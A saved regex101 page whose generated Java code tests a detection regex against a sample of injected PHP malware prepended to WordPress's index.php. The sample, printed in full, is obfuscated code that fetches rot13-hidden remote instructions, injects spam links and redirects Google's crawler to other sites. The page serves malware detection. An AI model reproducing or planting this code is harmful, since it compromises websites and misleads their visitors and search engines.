Regular Expressions 101

Save & Share

Flavor

  • PCRE2 (PHP >=7.3)
  • PCRE (PHP <7.3)
  • ECMAScript (JavaScript)
  • Python
  • Golang
  • Java 8
  • .NET 7.0 (C#)
  • Rust
  • Regex Flavor Guide

Function

  • Match
  • Substitution
  • List
  • Unit Tests

Tools

Sponsors
There are currently no sponsors. Become a sponsor today!
An explanation of your regex will be automatically generated as you type.
Detailed match information will be displayed here automatically.
  • All Tokens
  • Common Tokens
  • General Tokens
  • Anchors
  • Meta Sequences
  • Quantifiers
  • Group Constructs
  • Character Classes
  • Flags/Modifiers
  • Substitution
  • A single character of: a, b or c
    [abc]
  • A character except: a, b or c
    [^abc]
  • A character in the range: a-z
    [a-z]
  • A character not in the range: a-z
    [^a-z]
  • A character in the range: a-z or A-Z
    [a-zA-Z]
  • Any single character
    .
  • Alternate - match either a or b
    a|b
  • Any whitespace character
    \s
  • Any non-whitespace character
    \S
  • Any digit
    \d
  • Any non-digit
    \D
  • Any word character
    \w
  • Any non-word character
    \W
  • Non-capturing group
    (?:...)
  • Capturing group
    (...)
  • Zero or one of a
    a?
  • Zero or more of a
    a*
  • One or more of a
    a+
  • Exactly 3 of a
    a{3}
  • 3 or more of a
    a{3,}
  • Between 3 and 6 of a
    a{3,6}
  • Start of string
    ^
  • End of string
    $
  • A word boundary
    \b
  • Non-word boundary
    \B

Regular Expression

/
/
gis

Test String

Code Generator

Generated Code

import java.util.regex.Matcher; import java.util.regex.Pattern; public class Example { public static void main(String[] args) { final String regex = "^(?:[[:^print:][:cntrl:]\\s]|GIF89.{0,20})*<\\?(?:php)?\\s*(\\$\\w+)=\\@\\$_server\\[['\"]http_host['\"]\\];\\1.{0,90}?if\\(\\@\\$_get\\[[\"']merdo[\"'\\]\\)\\{\\w\\s'\\<\\!\\-]+sysadmin.{0,180}?curl_setopt\\(\\$.{0,370}?file_get_contents\\(\\$.{0,150}?$\\w{0,21}=\\@json_decode\\(str_rot13\\(.{0,460}?\\$\\w.{0,21}\\[[\"']html.{0,550}?\\$myurl=rtrim\\(\\$\\w.{0,21}\\[['\"]links.{0,110}header\\(['\"]location:\\s*[\"']\\.\\$url.{0,100}?\\)\\.['\"]\\?merdo=.{0,140}?\\);(?:[^>]+>\\s*)?(?=\\s*<\\?(?:php)?)"; final String string = "<?php $eMaOCtmXlSnImjmiCMmP=@$_SERVER[\"HTTP_HOST\"];$eMaOCtmXlSnImjmiCMmP=str_replace('www.','',$eMaOCtmXlSnImjmiCMmP);if(@$_GET[\"merdo\"]){echo '<!--SYSADMIN-->';exit();}function mMvIxjRKghDOytsXmHGz($WDqgjhajdhXeSWcZQBrY){if(function_exists('curl_init')){$JFOvIQnSKOvIvanRszDQ=curl_init();curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_URL,$WDqgjhajdhXeSWcZQBrY);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_SSL_VERIFYPEER,false);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_RETURNTRANSFER,true);curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_USERAGENT,\"RaBot\");curl_setopt($JFOvIQnSKOvIvanRszDQ,CURLOPT_TIMEOUT,10);return curl_exec($JFOvIQnSKOvIvanRszDQ);}else{return file_get_contents($WDqgjhajdhXeSWcZQBrY);}}function authRQaFMJbNLaJvrLTF($SMKstKjPCEdudocSCHHm){global $mnTIeyfFkNxHxpHFcEse;$DkiJvJYOhXiunDLZIogN=@json_decode(str_rot13($SMKstKjPCEdudocSCHHm),true);if($DkiJvJYOhXiunDLZIogN[\"type\"]==\"link\"||$DkiJvJYOhXiunDLZIogN[\"type\"]==\"anti\"){if(count($DkiJvJYOhXiunDLZIogN[\"links\"])){$XxXBDNFNLjLqzmBZbKRY='';foreach($DkiJvJYOhXiunDLZIogN[\"links\"]as $AXzHJsVXmlVXbzpqVwQJ){$XxXBDNFNLjLqzmBZbKRY.=\"<a href=\\\"\".$AXzHJsVXmlVXbzpqVwQJ[\"url\"].\"\\\" title=\\\"\".$AXzHJsVXmlVXbzpqVwQJ[\"title\"].\"\\\">\".$AXzHJsVXmlVXbzpqVwQJ[\"baslik\"].\"</a>\\n\";}$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[\"html\"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}',$XxXBDNFNLjLqzmBZbKRY,$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}else{$SmkbvCeraMrwNwvcAesM=$DkiJvJYOhXiunDLZIogN[\"html\"];$SmkbvCeraMrwNwvcAesM=str_replace('{LINK_CODE_REPLACE}','',$SmkbvCeraMrwNwvcAesM);echo $SmkbvCeraMrwNwvcAesM;}}elseif($DkiJvJYOhXiunDLZIogN[\"type\"]==\"redirect\"){if(@preg_match('#google#',$_SERVER[\"HTTP_USER_AGENT\"])){$uri=$_SERVER['REQUEST_URI'];$rand_keys=array_rand($DkiJvJYOhXiunDLZIogN[\"links\"],1);$myurl=rtrim($DkiJvJYOhXiunDLZIogN[\"links\"][$rand_keys][\"url\"],'/');$url=$myurl.$uri;header('HTTP/1.1 301 Moved Permanently');header('Location: '.$url.'');exit();}}}$VIsQtYtIlNsuLPcxywSQ=str_rot13('uggc://jjj.wnxxryyl.pbz/kynetr.cuc').'?merdo='.$eMaOCtmXlSnImjmiCMmP;$zEGHtEUrCiJBSXWxYOdV=mMvIxjRKghDOytsXmHGz($VIsQtYtIlNsuLPcxywSQ);authRQaFMJbNLaJvrLTF($zEGHtEUrCiJBSXWxYOdV); ?> <?php\n" + "/**\n" + " * Front to the WordPress application. This file doesn't do anything, but loads\n" + " * wp-blog-header.php which does and tells WordPress to load the theme.\n" + " *\n" + " * @package WordPress\n" + " */\n\n" + "/**\n" + " * Tells WordPress to load the WordPress theme and output it.\n" + " *\n" + " * @var bool\n" + " */\n" + "define( 'WP_USE_THEMES', true );\n\n" + "/** Loads the WordPress Environment and Template */\n" + "require( dirname( __FILE__ ) . '/wp-blog-header.php' );\n"; final Pattern pattern = Pattern.compile(regex, Pattern.CASE_INSENSITIVE | Pattern.DOTALL); final Matcher matcher = pattern.matcher(string); while (matcher.find()) { System.out.println("Full match: " + matcher.group(0)); for (int i = 1; i <= matcher.groupCount(); i++) { System.out.println("Group " + i + ": " + matcher.group(i)); } } } }

Please keep in mind that these code samples are automatically generated and are not guaranteed to work. If you find any syntax errors, feel free to submit a bug report. For a full regex reference for Java, please visit: https://docs.oracle.com/javase/7/docs/api/java/util/regex/Pattern.html